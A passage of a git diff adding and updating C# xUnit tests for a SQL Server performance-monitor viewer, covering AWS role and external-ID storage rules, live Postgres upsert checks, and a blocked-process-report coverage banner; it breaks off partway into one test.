diff --git a/Darling/Darling.Tests/Viewer4627EdgeCallerTests.cs b/Darling/Darling.Tests/Viewer4627EdgeCallerTests.cs
index 4850b0572f..3ae356a251 100644
--- a/Darling/Darling.Tests/Viewer4627EdgeCallerTests.cs
+++ b/Darling/Darling.Tests/Viewer4627EdgeCallerTests.cs
@@ -34,6 +34,7 @@ namespace Darling.Tests;
 /// nesting level only, so a nested call's own commas are not miscounted; a self-check below feeds it both
 /// shapes.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public sealed class Viewer4627EdgeCallerTests
 {
     /// <summary>The two files that turn a plan edge into a brush.</summary>
diff --git a/Darling/Darling.Tests/Viewer4629Tests.cs b/Darling/Darling.Tests/Viewer4629Tests.cs
index 59a6ad85d5..02ffd99cb8 100644
--- a/Darling/Darling.Tests/Viewer4629Tests.cs
+++ b/Darling/Darling.Tests/Viewer4629Tests.cs
@@ -52,6 +52,7 @@ namespace Darling.Tests;
 /// assertion rather than left to that coincidence. No per-theme value changed for #4635: the existing
 /// #4629 hex already clears this background too.</para>
 /// </summary>
+[Trait("Reads", "Lite")]
 public class Viewer4629Tests
 {
     // The node card background (PlanViewerControl.Rendering.cs BuildNode: FindResource("BackgroundLightBrush")) —
diff --git a/Darling/Darling.Tests/ViewerAddServerIdCollisionTests.cs b/Darling/Darling.Tests/ViewerAddServerIdCollisionTests.cs
index bb0d974bbf..441b035d52 100644
--- a/Darling/Darling.Tests/ViewerAddServerIdCollisionTests.cs
+++ b/Darling/Darling.Tests/ViewerAddServerIdCollisionTests.cs
@@ -257,10 +257,17 @@ public void TheAddMethod_InsertsIfAbsent_ReadsTheHolderWithoutTheSecret_AndClass
         Assert.True(start >= 0 && end > start, "the Add method and the classifier must both be there, in that order");
 
         var body = source[start..end];
-        Assert.Contains("InsertMonitoredServerIfAbsentAsync(row, cancellationToken)", body, StringComparison.Ordinal);
-        Assert.Contains("CreateCommand(MonitoredServerByIdNoSecretSql)", body, StringComparison.Ordinal);
+        /* #5240: the insert-if-absent and the holder read now run on the transaction that holds the identity lock,
+           so they are built on that connection (new NpgsqlCommand(sql, connection, transaction)) instead of through
+           the data source; the statements are the same ones, and the lock is taken before the insert. */
+        Assert.Contains("new NpgsqlCommand(MonitoredServerInsertIfAbsentSql, connection, transaction)", body, StringComparison.Ordinal);
+        Assert.Contains("new NpgsqlCommand(MonitoredServerByIdNoSecretSql, connection, transaction)", body, StringComparison.Ordinal);
         Assert.Contains("ClassifyAddAgainstOccupant(row, occupant)", body, StringComparison.Ordinal);
         Assert.DoesNotContain("Upsert", body, StringComparison.Ordinal);
+        Assert.True(
+            body.IndexOf("TakeIdentityLockAndFindClaimantAsync(", StringComparison.Ordinal) is var lockAt and >= 0
+            && lockAt < body.IndexOf("MonitoredServerInsertIfAbsentSql", StringComparison.Ordinal),
+            "the add must take the identity lock and re-read the addresses before it inserts");
     }
 
     private static int CountOf(string source, string needle)
diff --git a/Darling/Darling.Tests/ViewerAlertClockCacheTests.cs b/Darling/Darling.Tests/ViewerAlertClockCacheTests.cs
index 33e1cb6762..453d3121a0 100644
--- a/Darling/Darling.Tests/ViewerAlertClockCacheTests.cs
+++ b/Darling/Darling.Tests/ViewerAlertClockCacheTests.cs
@@ -142,7 +142,7 @@ public void TheAlertHistoryReadTakesItsClocksFromTheCache_NotFromTheStoreEveryCa
         var alertHistory = ViewerCode("ViewerDataService.AlertHistory.cs");
         var method = Regex.Match(
             alertHistory,
-            @"public async Task<List<ViewerAlertRow>> GetAlertHistoryAsync\(.*?\n    \}\n",
+            @"public async Task<List<ViewerAlertRow>> GetAlertHistoryWindowAsync\(.*?\n    \}\n",
             RegexOptions.Singleline);
 
         Assert.True(method.Success);
diff --git a/Darling/Darling.Tests/ViewerApplyToAllClockTests.cs b/Darling/Darling.Tests/ViewerApplyToAllClockTests.cs
index f2e8583f5e..806c1d039d 100644
--- a/Darling/Darling.Tests/ViewerApplyToAllClockTests.cs
+++ b/Darling/Darling.Tests/ViewerApplyToAllClockTests.cs
@@ -61,7 +61,7 @@ public void ThePlaceThatBroadcastsTheRange_SkipsOnlyTheSource_AndASelectedTabRel
         var selection = Member("MainWindow.xaml.cs", "MainTabs_SelectionChanged");
         var load = Member("MainWindow.xaml.cs", "LoadVisibleTabAsync");
 
-        Assert.Contains("ApplyExternalTimeRange(index, customFromUtc, customToUtc)", broadcast);
+        Assert.Contains("ApplyExternalTimeRange(range)", broadcast);
         Assert.Contains("!ReferenceEquals(serverTab, source)", broadcast);
         Assert.Contains("await RefreshVisibleAsync()", selection);
         Assert.Matches(@"case\s+TabItem\s*\{\s*Content:\s*ViewerServerTab\s+serverTab\s*\}\s*:\s*await\s+serverTab\.RefreshActiveInnerTabAsync\(\)", load);
diff --git a/Darling/Darling.Tests/ViewerAwsRoleFieldsTests.cs b/Darling/Darling.Tests/ViewerAwsRoleFieldsTests.cs
new file mode 100644
index 0000000000..0315915881
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerAwsRoleFieldsTests.cs
@@ -0,0 +1,229 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Text.RegularExpressions;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The desktop viewer's per-server AWS role fields (#5452). The writes name <c>aws_role_arn</c> and <c>aws_external_id</c> and
+/// never the generated <c>aws_external_id_set</c>; no read selects the external ID, only whether one is set, and an edit
+/// keeps the stored ID unless a new one is typed or the clear box is ticked; and every read's column count agrees with the
+/// ordinals its reader uses, which a live test would only catch on a store with the V169 columns.
+/// </summary>
+public sealed class ViewerAwsRoleFieldsTests
+{
+    private static readonly Regex ExternalIdColumn = new(@"\baws_external_id\b", RegexOptions.CultureInvariant);
+
+    /// <summary>The comma-separated column list of a SELECT, between <c>SELECT</c> and <c>FROM</c>.</summary>
+    private static string[] SelectedColumns(string sql)
+    {
+        var select = sql.IndexOf("SELECT", StringComparison.Ordinal) + "SELECT".Length;
+        var from = sql.IndexOf("FROM config_monitored_servers", StringComparison.Ordinal);
+        return sql[select..from].Split(',', StringSplitOptions.TrimEntries | StringSplitOptions.RemoveEmptyEntries);
+    }
+
+    private static int HighestOrdinal(string source, string methodName)
+    {
+        var start = source.IndexOf(methodName + "(NpgsqlDataReader reader)", StringComparison.Ordinal);
+        Assert.True(start >= 0, methodName);
+        var end = source.IndexOf("};", start, StringComparison.Ordinal);
+        return Regex.Matches(source[start..end], @"reader\.\w+(?:<[^>]+>)?\((\d+)\)")
+            .Select(m => int.Parse(m.Groups[1].Value, CultureInfo.InvariantCulture)).Max();
+    }
+
+    [Fact]
+    public void TheWrites_NameTheRoleAndTheExternalId_AndNeverTheGeneratedFlag()
+    {
+        foreach (var sql in new[] { ViewerDataService.MonitoredServerUpsertSql, ViewerDataService.MonitoredServerInsertIfAbsentSql })
+        {
+            Assert.Contains("aws_role_arn", sql, StringComparison.Ordinal);
+            Assert.Matches(ExternalIdColumn, sql);
+            Assert.DoesNotContain("aws_external_id_set", sql, StringComparison.Ordinal);
+
+            /* One value per column: the column list and the VALUES list agree (the two server-side timestamps are columns too). */
+            var columnsStart = sql.IndexOf('(', StringComparison.Ordinal) + 1;
+            var columns = sql[columnsStart..sql.IndexOf(')', StringComparison.Ordinal)].Split(',').Length;
+            var valuesStart = sql.IndexOf("VALUES (", StringComparison.Ordinal) + "VALUES (".Length;
+            var values = sql[valuesStart..sql.IndexOf("ON CONFLICT", StringComparison.Ordinal)];
+            Assert.Equal(columns, Regex.Matches(values, @"\$\d+|\(now\(\) AT TIME ZONE 'UTC'\)").Count);
+            Assert.Contains("$20", sql, StringComparison.Ordinal);
+        }
+
+        Assert.DoesNotContain("$21", ViewerDataService.MonitoredServerInsertIfAbsentSql, StringComparison.Ordinal);
+        Assert.Contains("aws_role_arn = EXCLUDED.aws_role_arn", ViewerDataService.MonitoredServerUpsertSql, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheUpsert_KeepsTheStoredExternalId_UnlessOneWasTypedOrTheBoxWasCleared()
+    {
+        var sql = ViewerDataService.MonitoredServerUpsertSql;
+        Assert.DoesNotContain("aws_external_id = EXCLUDED.aws_external_id,", sql, StringComparison.Ordinal);
+        Assert.Contains("WHEN $21 THEN EXCLUDED.aws_external_id", sql, StringComparison.Ordinal);
+        Assert.Contains("ELSE config_monitored_servers.aws_external_id END", sql, StringComparison.Ordinal);
+        Assert.Contains("WHEN EXCLUDED.aws_role_arn IS NULL THEN NULL", sql, StringComparison.Ordinal);
+
+        /* A role that changes with nothing typed clears the stored ID; the arm sits after the typed one and before the keep. */
+        const string changed = "WHEN EXCLUDED.aws_role_arn IS DISTINCT FROM config_monitored_servers.aws_role_arn THEN NULL";
+        var typed = sql.IndexOf("WHEN $21 THEN EXCLUDED.aws_external_id", StringComparison.Ordinal);
+        var kept = sql.IndexOf("ELSE config_monitored_servers.aws_external_id END", StringComparison.Ordinal);
+        var arm = sql.IndexOf(changed, StringComparison.Ordinal);
+        Assert.True(arm > typed && arm < kept, "the role-changed arm follows the typed arm and precedes the keep");
+    }
+
+    [Fact]
+    public void NoRead_SelectsTheExternalId_EachCarriesTheRoleAndTheFlag()
+    {
+        foreach (var sql in new[]
+        {
+            ViewerDataService.MonitoredServerByIdSql,
+            ViewerDataService.MonitoredServersSelectSql,
+            ViewerDataService.MonitoredServerByIdNoSecretSql,
+            ViewerDataService.MonitoredServerByAddressSql,
+        })
+        {
+            Assert.DoesNotMatch(ExternalIdColumn, sql);
+            Assert.Contains("aws_role_arn", sql, StringComparison.Ordinal);
+            Assert.Contains("aws_external_id_set", sql, StringComparison.Ordinal);
+        }
+    }
+
+    [Fact]
+    public void EveryRead_HasAsManyColumnsAsItsReaderUses()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "ViewerDataService.MonitoredServers.cs");
+
+        Assert.Equal(HighestOrdinal(source, "ReadMonitoredServerRow") + 1, SelectedColumns(ViewerDataService.MonitoredServerByIdSql).Length);
+
+        var noSecret = HighestOrdinal(source, "ReadMonitoredServerRowNoSecret") + 1;
+        Assert.Equal(noSecret, SelectedColumns(ViewerDataService.MonitoredServersSelectSql).Length);
+        Assert.Equal(noSecret, SelectedColumns(ViewerDataService.MonitoredServerByIdNoSecretSql).Length);
+        Assert.Equal(noSecret, SelectedColumns(ViewerDataService.MonitoredServerByAddressSql).Length);
+    }
+
+    [Fact]
+    public void TheRowDefaults_AreNoRole_SoEveryExistingWriterIsUnchanged()
+    {
+        var row = new MonitoredServerRow();
+        Assert.Null(row.AwsRoleArn);
+        Assert.Null(row.AwsExternalId);
+        Assert.False(row.AwsExternalIdSent);
+        Assert.False(row.AwsExternalIdSet);
+    }
+
+    [Fact]
+    public void TheBulkDialog_TakesNoRole()
+    {
+        var source = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddMultipleServersDialog.xaml.cs");
+        Assert.DoesNotContain("Aws", source, StringComparison.Ordinal);
+    }
+
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string OtherRole = "arn:aws:iam::123456789012:role/darling-other";
+
+    [Fact]
+    public void Resolve_BlankBoxes_AreNotSet_AndOnAnEditClearTheStoredRole()
+    {
+        Assert.Equal((null, null, false, null), AddServerDialog.ResolveAwsRole("  ", "", false, null, false));
+        Assert.Equal((null, null, false, null), AddServerDialog.ResolveAwsRole("", "", false, Role, false));
+    }
+
+    [Fact]
+    public void Resolve_TheSharedChecksApply_WithTheirFixedSentences()
+    {
+        Assert.Equal(AwsRoleSettings.InvalidRoleMessage, AddServerDialog.ResolveAwsRole("not-an-arn", "", false, null, false).Error);
+        Assert.Equal(AwsRoleSettings.InvalidExternalIdMessage, AddServerDialog.ResolveAwsRole(Role, "has space", false, null, false).Error);
+        Assert.Equal(AwsRoleSettings.ExternalIdNeedsRoleMessage, AddServerDialog.ResolveAwsRole("", "ext-1234", false, null, false).Error);
+        Assert.Equal((Role, "ext-1234", true, null), AddServerDialog.ResolveAwsRole($" {Role} ", " ext-1234 ", false, null, false));
+    }
+
+    [Fact]
+    public void Resolve_AnEditWithTheBoxUntouched_KeepsTheStoredExternalId()
+    {
+        /* Nothing typed and the clear box not ticked: nothing is sent, so the upsert keeps the stored ID. */
+        Assert.Equal((Role, null, false, null), AddServerDialog.ResolveAwsRole(Role, "", false, Role, true));
+        Assert.Equal((Role, null, false, null), AddServerDialog.ResolveAwsRole(Role, "   ", false, Role, true));
+    }
+
+    [Fact]
+    public void Resolve_ATypedExternalId_Replaces_AndTheClearBoxRemoves()
+    {
+        Assert.Equal((Role, "ext-5678", true, null), AddServerDialog.ResolveAwsRole(Role, "ext-5678", false, Role, true));
+        Assert.Equal((Role, null, true, null), AddServerDialog.ResolveAwsRole(Role, "", true, Role, true));
+        Assert.Equal(AddServerDialog.AwsExternalIdTypedAndClearedMessage, AddServerDialog.ResolveAwsRole(Role, "ext-5678", true, Role, true).Error);
+    }
+
+    [Fact]
+    public void Resolve_ANewRole_NeedsTheStoredExternalIdChangedOrCleared()
+    {
+        /* The box is untouched and one is stored: the store's trigger would refuse it (PW004), so the dialog says so first. */
+        Assert.Equal(AwsRoleSettings.RoleChangeNeedsExternalIdMessage,
+            AddServerDialog.ResolveAwsRole(OtherRole, "", false, Role, true).Error);
+
+        /* A new ID, or a cleared one, goes through; an unchanged role never needs it. */
+        Assert.Null(AddServerDialog.ResolveAwsRole(OtherRole, "ext-5678", false, Role, true).Error);
+        Assert.Null(AddServerDialog.ResolveAwsRole(OtherRole, "", true, Role, true).Error);
+        Assert.Null(AddServerDialog.ResolveAwsRole(Role, "", false, Role, true).Error);
+
+        /* A target with no stored ID takes a new role freely. */
+        Assert.Null(AddServerDialog.ResolveAwsRole(OtherRole, "", false, Role, false).Error);
+    }
+
+    [Fact]
+    public void TheDialog_ShowsWhetherAnExternalIdIsSet_AndOffersAClearBox_AndNeverFillsTheBox()
+    {
+        var xaml = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml");
+        Assert.Contains("x:Name=\"AwsClearExternalIdBox\" Content=\"Clear external ID\"", xaml, StringComparison.Ordinal);
+
+        var code = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml.cs");
+        Assert.Contains("AwsExternalIdState.Text = existing.AwsExternalIdSet ? AwsExternalIdSetNote : AwsExternalIdNoneNote;", code, StringComparison.Ordinal);
+        Assert.DoesNotContain("AwsExternalIdBox.Password =", code, StringComparison.Ordinal);
+        Assert.Contains("Leave the box blank to keep it", AddServerDialog.AwsExternalIdSetNote, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheSaveNote_SaysTheServiceUsesTheRoleOnlyWhenItIsAllowed()
+    {
+        Assert.Equal(
+            "The service uses this AWS role only if it is listed in allowedAwsRoles in darling.json, or a server in darling.json uses it. "
+            + "A role saved here does not take effect until then.",
+            AddServerDialog.AwsRoleSaveNote);
+    }
+
+    [Fact]
+    public void TheDialog_PutsTheBoxesInThePostgresPanel_AndBindsTheNoteFromTheConstant()
+    {
+        var xaml = RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml");
+        var panel = xaml.IndexOf("x:Name=\"PostgresOptionsPanel\"", StringComparison.Ordinal);
+        var panelEnd = xaml.IndexOf("<!-- Authentication.", panel, StringComparison.Ordinal);
+        Assert.True(panel > 0 && panelEnd > panel);
+
+        foreach (var name in new[] { "AwsRoleBox", "AwsExternalIdBox", "AwsRoleNote" })
+        {
+            var at = xaml.IndexOf($"x:Name=\"{name}\"", StringComparison.Ordinal);
+            Assert.True(at > panel && at < panelEnd, $"{name} must sit inside the PostgreSQL options panel");
+        }
+
+        Assert.Contains("AwsRoleNote.Text = AwsRoleSaveNote;",
+            RepoFile.ReadRepoFile("Darling", "PerformanceMonitor.Darling.Viewer", "AddServerDialog.xaml.cs"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void TheStoreRefusalSqlState_IsThePW004TheStoreRaises()
+    {
+        Assert.Equal("PW004", ViewerDataService.StoreAwsRoleNeedsExternalIdSqlState);
+        Assert.Contains("USING ERRCODE = 'PW004'", DarlingManagedRoles.BuildServerPasswordRulesSql("config"), StringComparison.Ordinal);
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerAwsRoleUpsertLiveTests.cs b/Darling/Darling.Tests/ViewerAwsRoleUpsertLiveTests.cs
new file mode 100644
index 0000000000..65f3998839
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerAwsRoleUpsertLiveTests.cs
@@ -0,0 +1,120 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: each live fact mints its own scratch database through ScratchPostgres and never touches another one. */
+
+/// <summary>
+/// The desktop viewer's upsert and the external ID stored with a server's AWS role (#5452), run as the store's owner
+/// against a migrated store: a save that changes the role with nothing typed leaves no external ID, a save that keeps
+/// the role keeps it, and a typed or cleared box replaces it.
+/// </summary>
+[Collection("live-postgres")]
+public sealed class ViewerAwsRoleUpsertLiveTests
+{
+    private const int ServerId = 7601;
+    private const string Role = "arn:aws:iam::123456789012:role/darling-monitor";
+    private const string OtherRole = "arn:aws:iam::123456789012:role/darling-other";
+    private const string StoredExternal = "tenant-1234";
+    private const string TypedExternal = "tenant-5678";
+
+    private sealed record Rig(ScratchPostgres Scratch, NpgsqlDataSource Owner) : IAsyncDisposable
+    {
+        public async ValueTask DisposeAsync()
+        {
+            await Owner.DisposeAsync();
+            await Scratch.DisposeAsync();
+        }
+    }
+
+    private static async Task<Rig> OpenAsync(CancellationToken ct)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live viewer AWS role upsert tests (each mints its own scratch database).");
+
+        var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var ownerString = new NpgsqlConnectionStringBuilder(scratch.ConnectionString) { SearchPath = PgSchemaGenerator.SearchPath }.ConnectionString;
+        await using (var connection = new NpgsqlConnection(ownerString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, null, ct);
+        }
+
+        var owner = NpgsqlDataSource.Create(ownerString);
+        await using (var command = owner.CreateCommand(@"INSERT INTO config_monitored_servers
+            (server_id, name, host, auth, username, encrypt_mode, excluded_databases, is_enabled, monthly_cost_usd, aws_role_arn, aws_external_id)
+            VALUES ($1, 'aws-upsert', 'aws-upsert.example.test', 'sql', 'app-user', 'Mandatory', ARRAY[]::text[], TRUE, 0, $2, $3)"))
+        {
+            command.Parameters.AddWithValue(ServerId);
+            command.Parameters.AddWithValue(Role);
+            command.Parameters.AddWithValue(StoredExternal);
+            await command.ExecuteNonQueryAsync(ct);
+        }
+
+        return new Rig(scratch, owner);
+    }
+
+    private static MonitoredServerRow Row(string? role, string? externalId, bool externalIdSent) => new()
+    {
+        ServerId = ServerId,
+        Name = "aws-upsert",
+        Host = "aws-upsert.example.test",
+        Auth = "sql",
+        Username = "app-user",
+        EncryptMode = "Mandatory",
+        AwsRoleArn = role,
+        AwsExternalId = externalId,
+        AwsExternalIdSent = externalIdSent,
+    };
+
+    private static async Task<string> StoredAsync(Rig rig, CancellationToken ct)
+    {
+        await using var command = rig.Owner.CreateCommand(
+            "SELECT COALESCE(aws_role_arn, '<null>') || ' | ' || COALESCE(aws_external_id, '<null>') FROM config_monitored_servers WHERE server_id = $1");
+        command.Parameters.AddWithValue(ServerId);
+        return (string)(await command.ExecuteScalarAsync(ct))!;
+    }
+
+    [Fact]
+    public async Task ARoleChange_WithNothingTyped_LeavesNoExternalId_AndASameRoleSaveKeepsIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row(Role, null, externalIdSent: false), ct);
+        Assert.Equal(Role + " | " + StoredExternal, await StoredAsync(rig, ct));
+
+        await viewer.UpsertMonitoredServerAsync(Row(OtherRole, null, externalIdSent: false), ct);
+        Assert.Equal(OtherRole + " | <null>", await StoredAsync(rig, ct));
+    }
+
+    [Fact]
+    public async Task ARoleChange_WithAnExternalIdTyped_StoresIt_AndAClearedBoxRemovesIt()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var rig = await OpenAsync(ct);
+        await using var viewer = new ViewerDataService(rig.Scratch.ConnectionString);
+
+        await viewer.UpsertMonitoredServerAsync(Row(OtherRole, TypedExternal, externalIdSent: true), ct);
+        Assert.Equal(OtherRole + " | " + TypedExternal, await StoredAsync(rig, ct));
+
+        await viewer.UpsertMonitoredServerAsync(Row(OtherRole, null, externalIdSent: true), ct);
+        Assert.Equal(OtherRole + " | <null>", await StoredAsync(rig, ct));
+    }
+}
diff --git a/Darling/Darling.Tests/ViewerBlockedProcessReportsCoverageLiveTests.cs b/Darling/Darling.Tests/ViewerBlockedProcessReportsCoverageLiveTests.cs
new file mode 100644
index 0000000000..4fc8ab4524
--- /dev/null
+++ b/Darling/Darling.Tests/ViewerBlockedProcessReportsCoverageLiveTests.cs
@@ -0,0 +1,632 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using System.Windows;
+using System.Windows.Controls;
+using Npgsql;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Viewer;
+using PerformanceMonitor.Ui;
+using Xunit;
+
+namespace Darling.Tests;
+
+/// <summary>
+/// The Blocked Process Reports grid's "Showing since" notice against a real store (#4966), for the three cases its two
+/// collectors and its event times raise. The grid merges the XE blocked_process_reports rows with the always-on DMV
+/// snapshots that stand in for them when XE collection is off, and each read keeps its newest 200 rows. Every test reads
+/// the grid through the same calls the server tab makes (the merged read, the coverage probe) and raises the banner
+/// through the same shared function (<c>ShowEventDataStartAsync</c>), so a change to the rule fails here.
+/// </summary>
+/* #1776 own-store: deliberately NOT [Collection("live-postgres")]. Every test here reaches DARLING_TEST_PG only to CREATE
+   and DROP its own database through ScratchPostgres, then works entirely inside it. The banner's time text reads the
+   process-wide display mode, which the culture pin sets (restored in Dispose); the shared collection serializes it with
+   every other class that flips the viewer's time statics. */
+[Collection("viewer-time-statics")]
+public sealed class ViewerBlockedProcessReportsCoverageLiveTests : IDisposable
+{
+    private readonly TimeDisplayMode _savedMode = ViewerTimeHelper.CurrentDisplayMode;
+
+    public void Dispose() => ViewerTimeHelper.CurrentDisplayMode = _savedMode;
+
+    private const int FirstCollectionServerId = -499801;
+    private const int DmvOnlyServerId = -499802;
+    private const int DmvOnlyQuietServerId = -499803;
+    private const int DmvCappedServerId = -499804;
+    private const int XeMidwayServerId = -499805;
+    private const int ChartsDmvOnlyServerId = -499806;
+    private const int XeWholeWindowServerId = -499807;
+    private const int XeHistoryServerId = -499808;
+    private const int XeRunsBeforeWindowServerId = -499809;
+    private const int BeforeLogHorizonServerId = -499810;
+    private const int ThresholdMidwayServerId = -499811;
+    private const int ThresholdReportFirstServerId = -499812;
+    private const int ThresholdOnBeforeServerId = -499813;
+    private const int ThresholdNoRowsServerId = -499814;
+    private const int ThresholdDmvServerId = -499815;
+    private const int ThresholdNoZeroSeenServerId = -499816;
+    private const int ThresholdTurnedOffServerId = -499817;
+    private const string XeCollector = "blocked_process_report";
+    private const string DmvCollector = "dmv_blocking_snapshot";
+
+    /* The range ends before the server's first collection, which stored the events of the days before it: the probe finds no
+       coverage in the range, yet the grid lists events from a day into it. The notice names the first of them. */
+    [Fact]
+    public async Task ARangeThatEndsBeforeTheFirstCollection_GivesANotice_AtTheEarliestReport_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 3, ct);
+
+        /* Added a day after the range ended; its first collection stored the reports of the 6 days before the range's end. */
+        await store.AddServerAsync(FirstCollectionServerId, store.End.AddDays(1), ct);
+        await store.InsertXeReportsAsync(FirstCollectionServerId, store.Start.AddDays(1), store.End, collectedAtUtc: store.End.AddDays(1), ct);
+
+        var coverage = await store.Viewer.GetBlockedProcessReportsDataStartAsync(FirstCollectionServerId, store.Start, store.End, ct);
+        var banner = await store.BannerAsync(FirstCollectionServerId, ct);
+
+        Assert.Null(coverage);
+        Assert.Equal(Since(store.Start.AddDays(1)), banner);
+    }
+
+    /* XE collection is off (no report, no run of that collector) and the DMV collector began 2 days before the range's end;
+       its first snapshot of blocking came 3 hours later. The DMV collector covers the grid from the day it was added, so the
+       notice names that day, not the later first row and not nothing. */
+    [Fact]
+    public async Task WithXeCollectionOff_TheNotice_NamesTheDmvCoverageStart_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(DmvOnlyServerId, store.End.AddDays(-2), ct);
+        await store.LogRunsAsync(DmvOnlyServerId, DmvCollector, store.End.AddDays(-2), store.End, ct);
+        await store.InsertDmvSnapshotsAsync(DmvOnlyServerId, store.End.AddDays(-2).AddHours(3), store.End, TimeSpan.FromHours(6), ct);
+
+        var coverage = await store.Viewer.GetBlockedProcessReportsDataStartAsync(DmvOnlyServerId, store.Start, store.End, ct);
+        var banner = await store.BannerAsync(DmvOnlyServerId, ct);
+
+        Assert.Equal(store.End.AddDays(-2), coverage);
+        Assert.Equal(Since(store.End.AddDays(-2)), banner);
+    }
+
+    /* XE collection is off and the DMV collector has run for 40 days, the whole range: the first snapshot of blocking came 5
+       hours into the range, which is a quiet start, not a cut. The grid's own first row is no reason for a notice. */
+    [Fact]
+    public async Task WithXeCollectionOff_AQuietDmvStart_GivesNoNotice_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(DmvOnlyQuietServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(DmvOnlyQuietServerId, DmvCollector, store.End.AddDays(-40), store.End, ct);
+        await store.InsertDmvSnapshotsAsync(DmvOnlyQuietServerId, store.Start.AddHours(5), store.End, TimeSpan.FromHours(6), ct);
+
+        var coverage = await store.Viewer.GetBlockedProcessReportsDataStartAsync(DmvOnlyQuietServerId, store.Start, store.End, ct);
+        var banner = await store.BannerAsync(DmvOnlyQuietServerId, ct);
+
+        Assert.NotNull(coverage);
+        Assert.False(RawWindowFloor.IsTruncated(coverage, store.Start));
+        Assert.Null(banner);
+    }
+
+    /* A parallel blocked query shows as several snapshot rows for one pair a minute (one per thread), so the DMV read can
+       fill its 200-row LIMIT while the merge, which keeps one row per pair per minute, leaves far fewer. The older reports of
+       that read are not in the grid, whatever the count of the merged list says: the notice names the oldest row the DMV read
+       returned, though the store covers the whole range. */
+    [Fact]
+    public async Task ADmvReadThatFillsItsCap_GivesANotice_AtItsOldestRow_WhereTheMergedListStaysUnderTheCap_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
+        await using var store = await Store.CreateAsync(rangeEndsDaysAgo: 0, ct);
+
+        await store.AddServerAsync(DmvCappedServerId, store.End.AddDays(-40), ct);
+        await store.LogRunsAsync(DmvCappedServerId, DmvCollector, store.End.AddDays(-40), store.End, ct);
+        /* 3 rows a minute for the last 100 minutes: 300 rows, one pair. */
+        await store.InsertDmvSnapshotsAsync(DmvCappedServerId, store.End.AddMinutes(-100), store.End.AddSeconds(-20), TimeSpan.FromSeconds(20), ct);
+
+        var read = await store.Viewer.ReadRecentBlockedProcessReportsAsync(DmvCappedServerId, store.Start, store.End, cancellationToken: ct);
+        var oldestReturned = await store.OldestOfNewestDmvRowsAsync(DmvCappedServerId, ViewerDataService.BlockedProcessReportsRowCap, ct);
+        var banner = await store.BannerAsync(DmvCappedServerId, ct);
+
+        Assert.InRange(read.Rows.Count, 1, ViewerDataService.BlockedProcessReportsRowCap - 1);
+        Assert.False(ViewerEventDataStart.ReadHitCap(read.Rows.Count, ViewerDataService.BlockedProcessReportsRowCap));
+        Assert.Equal(oldestReturned, read.CappedSourceStartUtc);
+        Assert.True(read.Rows.Min(r => r.EventTime) > oldestReturned.AddMinutes(-1));
+        Assert.Equal(Since(oldestReturned), banner);
+    }
+
+    /* The Blocking charts read the XE table when it holds a report in the window. The server was added 40 days before the range's
+       end and its DMV collector has run, and snapshotted, throughout the range; the XE collector began 3 days before the end and
+       its reports begin with it. The grid's probe takes the DMV coverage and reads covered, while the charts' probe names the XE
+       collector's own start, the first day their data can exist (the server's registration date says nothing about it). */
+    [Fact]
+    public async Task TheChartsProbe_NamesTheXeStart_WhereTheGridProbeReadsCoveredByTheDmv_AgainstDevPostgres()
+    {
+        var ct = TestContext.Current.CancellationToken;
